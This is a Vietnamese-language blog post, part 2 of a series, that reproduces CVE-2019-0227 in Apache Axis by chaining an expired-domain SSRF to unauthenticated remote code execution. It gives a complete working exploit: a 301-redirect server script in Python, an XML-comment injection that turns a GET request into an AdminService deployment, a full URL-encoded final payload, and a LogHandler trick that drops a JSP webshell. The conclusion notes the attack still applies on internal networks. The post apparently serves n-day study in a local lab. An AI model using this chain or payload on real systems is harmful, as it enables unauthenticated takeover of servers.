Sitemap

Series Re-Search: Reproduce n-day with CVE-2019–0227 Expired Domain to Remote Code Execution in Apache Axis — part 2

9 min readOct 4, 2023

--

Phần này sẽ là phần cần phải debug, phải dùng kỹ thuật nhiều để khai thác SSRF nên mình đã tách ra để người đọc không thấy dài quá.

b) SSRF thông qua Expired Domain

Mình đã khá tò mò khi đọc tí le cái bug này, tại mình cũng chưa gặp case này bao giờ. Phần này các bạn sẽ tập trung ở bài phân tích của David Yesland và sẽ cần debug, đọc source code nhiều nhé.
https://rhinosecuritylabs.com/application-security/cve-2019-0227-expired-domain-rce-apache-axis/

Trong quá trình nghiên cứu, tác giả đã tìm ra một default example web service có tên là StockQuoteService.jws. Service như hình bên dưới:

Mở IntelliJ ra, rồi tìm cái endpoint đó xem như thế này. Các bạn có thể sử dụng phím tắt Ctrl + Shift + F, để search StockQuoteService và kết quả cho chúng ta một số thông tin:

Click vào class StockQuoteService để xem qua source code, cũng chính ở đây, tác giả đã tìm ra được domain http://www.xmltoday.com bị hết hạn, attacker có thể hoàn toàn take over domain này và response về bất kì giá trị gì.

Để xem có phải class này xử lý endpoint StockQuoteService.jws hay không, đơn giản chỉ cần đặt breakpoint ở đây mà F5 lại truy cập vào http://127.0.0.1:8080/axis/StockQuoteService.jws xem có dừng lại không là được?

Cơ mà có cái nịt, đến chỗ này mình cũng không biết vì sao không vào class handle StockQuoteService. Có vẻ mình đã bỏ qua cái gì đó! Đến đây có 2 phương án:
Phương án 1: Vào web.xml xem servlet nào đang handle việc xử lý path đó hoặc file *.jws, và đặt breakpoint từ đó debug xuống để hiểu workflow.

Servlet đang handle là AxisServlet
AxisServlet dược handle bởi class org.apache.axis.transport.http.AxisServlet
Vào class này và đăt breakpoint ở doGet debug từ từ

Debug tới khi hiểu workflow thì sẽ biết cách trigger được class mình mong muốn lên. Cơ mà cách này hơi hardcore nên mình chuyển qua phương án 2

Phương án 2: Tìm 1 cái tương tự như StockQuoteService.jws để xem workflow của nó, từ đó rút ra cách tigger StockQuoteService.class của mình.

Ở đây, mình tìm thấy EchoHeaders.jws, nó cũng tìm ra được trên UI trên chịu khó tìm hiểu tính năng là ra.

Request của EchoHeaders
Class EchoHeaders.java trigger breakpoint

Vậy điểm khác với StockQuoteService.jws là gì? Đó là EchoHeaders.jws có parameter trong request.
http://127.0.0.1:8080/axis/EchoHeaders.jws?method=list với list cũng là tên method trong class EchoHeaders.java.

Okie, nhìn lại class StockQuoteService.java một chút

Method là getQuote cơ mà thằng này có tham số symbol hơi khác một chút với EchoHeaders.java class! Đến chỗ này thì hãy nhớ tới bài phân tích Oracle PeopleSoft, bạn sẽ biết được tham số thứ 2 sẽ có format sẽ là http://127.0.0.1:8080/axis/StockQuoteService.jws?method=getQuote&symbol=aaa

Endpoint với param đã trigger debug

Domain này đã được tác giả mua lai sau khi phát hiện để tránh ai khác lợi dụng, vậy để tiến hành reproduce nó thì chúng ta làm như thế nào?
Đơn giản là chỉ cần add thêm domain www.xmltoday.com này trỏ tới server chúng ta muốn vào file host mà thôi .

Web server www.xmltoday.com cũng đã có request tới

Đấy là lý do vì sao mọi người hãy đọc hết tất cả các bài blog liên quan trước khi bắt tay vào reporduce, khi đó chúng ta sẽ có 1 góc nhìn toàn cảnh nhất.

Phân tích XMLUtils.newDocument vì hàm này sẽ xử lý input là url xlmtoday.com mà mình control, xem nó làm gì mà SSRF được. Trace code ta sẽ thấy newDocument(String uri) -> newDocument(String uri, String username, String password)-> getInputSourceFromURI(uri, username, password);

Chain of Called Method

Ở function getInputSourceFromURI, chúng ta sẽ thấy có một properties là uconn.setInstanceFollowRedirects(true); Tìm document và đọc thì đây là thuộc tính cho phép request được follow theo redirect của server trả về.

setInstanceFollowRedirects(true)

Đơn giản là bây giờ server Apache Axis request tới www.xmltoday.com, xmltoday trả về 301 Redirect, thì Apache Axis sẽ đi tiếp cái follow 301 Redirect đó với GET method. Vậy kịch bản tấn công sẽ là gì.

Kịch bản tấn công
  1. Truy câp vào /axis/StockQuoteService.jws?method=getQuote&symbol=aaa để trigger XMLUtils.newDocument cho nó tạo request tới www.xmltoday.com
  2. Domain www.xmltoday.com chúng ta đã control được, khi nhận được request này thì cho response về 301 kèm Location: axis/services/AdminService để tới được endpoint đăng ký service. Đăng ký service cùng với LogHandler là có thể RCE mà không cần Authen.
  3. Tuy nhiên, hàm trên chỉ cho GET method mà đăng ký Service với AdminService lại là POST method. Phải giải quyết bài toán này.

Giải quyết bài toán ở bước 3, chúng ta đã tái tạo được lỗi Unauthenticated RCE trên Apache Axis.

Axis: POST to GET

Hãy nhớ tới Axis: POST to GET ở bài phân thích PeopleSoft, nếu đọc mỗi bài đó thì chúng ta chả thấy việc phân tích chỗ này làm gì, nhưng sau khi phân tích như phía trên thì mọi người đã biết vì sao tác giả nhắc đấy chưa.

Axis: Post method to Get method

Tuy trong bài blog chúng ta có thể thấy hàm xử lý Post to Get ở class AxisServer ( như trên hình), tuy nhiên trong thực tế khi reproduce, mình Crtl + N trên IntelliJ để tìm và đọc source ở class này thì không thấy phần xử lý này đâu.
Mình đã phải decompile source và tìm kiếm string để kiếm được function xử lý chỗ này invokeEndpointFromGet của class QSMethodHandler.

Post to Get in QSMethodHandler class

Đặt breakpoint ở đây, đọc bài blog và chúng ta biết được:

 GET /pspc/services/SomeService
?method=myMethod
&parameter1=test1
&parameter2=test2

Sẽ tương ứng với body:

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<myMethod>
<parameter1>test1</parameter1>
<parameter2>test2</parameter2>
</myMethod>
</soapenv:Body>
</soapenv:Envelope>

Áp dụng thực tế đối với RandomService mà chúng ta đã đăng ký:

Post Request

nextInt không có tham số nên Get method sẽ :

Get Request

Breakpoint được trigger và hãy xem giá trị của biến msgtxtlà:

Breakpoint tại function invokeEndpointFromGet
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<nextInt></nextInt><!-- Input nextInt được cộng string ở đây-->
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Gần như giống hoàn toàn với body của POST request mà chúng ta sử dụng! Tuy nhiên, đây là request sử dụng service đã đăng ký, vậy còn request GET method để đăng ký service thì sao.

Với input đầu vào có thể control là các param method , args nhiệm vụ chúng ta là phải xào chẻ sao để msgtxt từ :

 String body = "<" + method + ">" + args + "</" + method + ">";
String msgtxt = "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"><SOAP-ENV:Body>" + body + "</SOAP-ENV:Body>" + "</SOAP-ENV:Envelope>";

Thành payload:

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<ns1:deployment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="exploitedEndpoint" provider="java:RPC">
<requestFlow>
<handler type="RandomLog"/>
</requestFlow>
<ns1:parameter name="className" value="java.util.Random"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
<handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" >
<parameter name="LogHandler.fileName" value="/apache-tomcat-9.0.80/webapps/axis/shell.jsp" />
<parameter name="LogHandler.writeToConsole" value="false" />
</handler>
</ns1:deployment>
</soapenv:Body>
</SOAP-ENV:Envelope>

Vậy chúng ta phải input như này cho phù hợp. Nếu param method là nguyên payload từ <ns1:deployment....</ns1:deployment> thì

Request Get ( nhớ endcode url, mình xài Hackvector)

Debug:

Triggered Debug

Giá trịmsgtxt sẽ thành:

Payload Get method

XML đã bị sai format là do các ký tự <,>,</,> được xử lý ở dòng code:

String body = "<" + method + ">" + args + "</" + method + ">";

Vậy nếu bây giờ payload của chúng ta có dạng ( nhìn kỹ đầu và cuối payload):

!--><ns1:deployment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="GETexploitedEndpoint" provider="java:RPC">
<requestFlow>
<handler type="RandomLog"/>
</requestFlow>
<ns1:parameter name="className" value="java.util.Random"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
<handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" >
<parameter name="LogHandler.fileName" value="/apache-tomcat-9.0.80/webapps/axis/shell.jsp" />
<parameter name="LogHandler.writeToConsole" value="false" />
</handler>
</ns1:deployment

Request:

Get Request

Thì msgtxt sẽ thành:

msgtxt

Sử dụng !--> đã biến method đầu tiên trong

String body = "<" + method + ">" + args + "</" + method + ">";

thành comment trong xml, từ đó payload của chúng ta đã đúng format và đăng ký service thành công.

Dùng GET method đã đăng ký được service

Final Payload:

http://localhost:8080/axis/services/AdminService?method=%21--%3E%3Cns1%3Adeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22exploitservice%22+provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler+type%3D%22RandomLog%22%2F%3E%3C%2FrequestFlow%3E%3Cns1%3Aparameter+name%3D%22className%22+value%3D%22java.util.Random%22%2F%3E%3Cns1%3Aparameter+name%3D%22allowedMethods%22+value%3D%22%2A%22%2F%3E%3C%2Fns1%3Aservice%3E%3Chandler+name%3D%22RandomLog%22+type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22+%3E%3Cparameter+name%3D%22LogHandler.fileName%22+value%3D%22shell.jsp%22+%2F%3E%3Cparameter+name%3D%22LogHandler.writeToConsole%22+value%3D%22false%22+%2F%3E%3C%2Fhandler%3E%3C%2Fns1%3Adeployment

Đã giải quết xong bài toán 3 trong quy tình khai thác. Bây giờ chỉ cần dựng 1 server giả của domain www.xlmtoday.com, response 301 với Location:

Location: http://localhost:8080/axis/services/AdminService?method=%21--%3E%3Cns1%3Adeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22exploitservice%22+provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler+type%3D%22RandomLog%22%2F%3E%3C%2FrequestFlow%3E%3Cns1%3Aparameter+name%3D%22className%22+value%3D%22java.util.Random%22%2F%3E%3Cns1%3Aparameter+name%3D%22allowedMethods%22+value%3D%22%2A%22%2F%3E%3C%2Fns1%3Aservice%3E%3Chandler+name%3D%22RandomLog%22+type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22+%3E%3Cparameter+name%3D%22LogHandler.fileName%22+value%3D%22shell.jsp%22+%2F%3E%3Cparameter+name%3D%22LogHandler.writeToConsole%22+value%3D%22false%22+%2F%3E%3C%2Fhandler%3E%3C%2Fns1%3Adeployment

Tái tạo lại toàn bộ:

  1. Set host: 127.0.0.1 www.xmltoday.com
  2. Dựng web server python exploit_server.py như bên dưới:
from http.server import SimpleHTTPRequestHandler
from http.server import HTTPServer

class MyHandler(SimpleHTTPRequestHandler):
def do_GET(self):
# Redirect to localhost
self.send_response(301)
self.send_header("Location", "http://localhost:8080/axis/services/AdminService?method=%21--%3E%3Cns1%3Adeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22exploitservice%22+provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler+type%3D%22RandomLog%22%2F%3E%3C%2FrequestFlow%3E%3Cns1%3Aparameter+name%3D%22className%22+value%3D%22java.util.Random%22%2F%3E%3Cns1%3Aparameter+name%3D%22allowedMethods%22+value%3D%22%2A%22%2F%3E%3C%2Fns1%3Aservice%3E%3Chandler+name%3D%22RandomLog%22+type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22+%3E%3Cparameter+name%3D%22LogHandler.fileName%22+value%3D%22shell.jsp%22+%2F%3E%3Cparameter+name%3D%22LogHandler.writeToConsole%22+value%3D%22false%22+%2F%3E%3C%2Fhandler%3E%3C%2Fns1%3Adeployment")
self.end_headers()

if __name__ == "__main__":
# Set up the server
server_address = ('', 80) # Change the port as needed
httpd = HTTPServer(server_address, MyHandler)

print(f"Server started on port {server_address[1]}")
httpd.serve_forever()

( Chú ý sửa lại folder drop shell và tên service)
3. Truy cập vào http://127.0.0.1:8080/axis/StockQuoteService.jws?method=getQuote&symbol=aaa

301 từ server fake của mình
Response bị lỗi nhưng kệ

4. Sử dụng webshell http://local.host:8080/axis/shell.jsp?c=calc như ở phần trước. Hoàn thành

KẾT LUẬN:

Đây chỉ là PoC lại bug, còn bug này trong real world vẫn có thể sử dụng bằng các spoofing cái domain xmltoday đó trong môi trường internal network. Với n-day, bạn đã được cung cấp rất nhiều thông tin từ các blog/writeup rồi nên việc reproduce sẽ dễ hơn rất nhiều. Tuy nhiên, sau khi đã thực sự hiểu bug, bạn thử suy nghĩ lại cacs vấn đề trong bài, đặt câu hỏi và tự trả lợi nó để cải thiện khả năng của mình:

  1. Tại sao tác giả có thể tìm được việc handle POST to GET của Apache Axis?
  2. Tác giả đã đọc document để tìm ra tính năng handler ?
  3. Sao tác giả lại lựa chọn deep dive vào XMLUtils.newDocument để tìm ra việc redirect dẫn tới SSRF?

Đừng chỉ reproduce lại, hãy đặt mình vào góc nhìn của tác giả, bạn sẽ có nhiều question và nó sẽ giúp bạn cải thiện khả năng và mindset để tự tìm ra bug.

--

--

No responses yet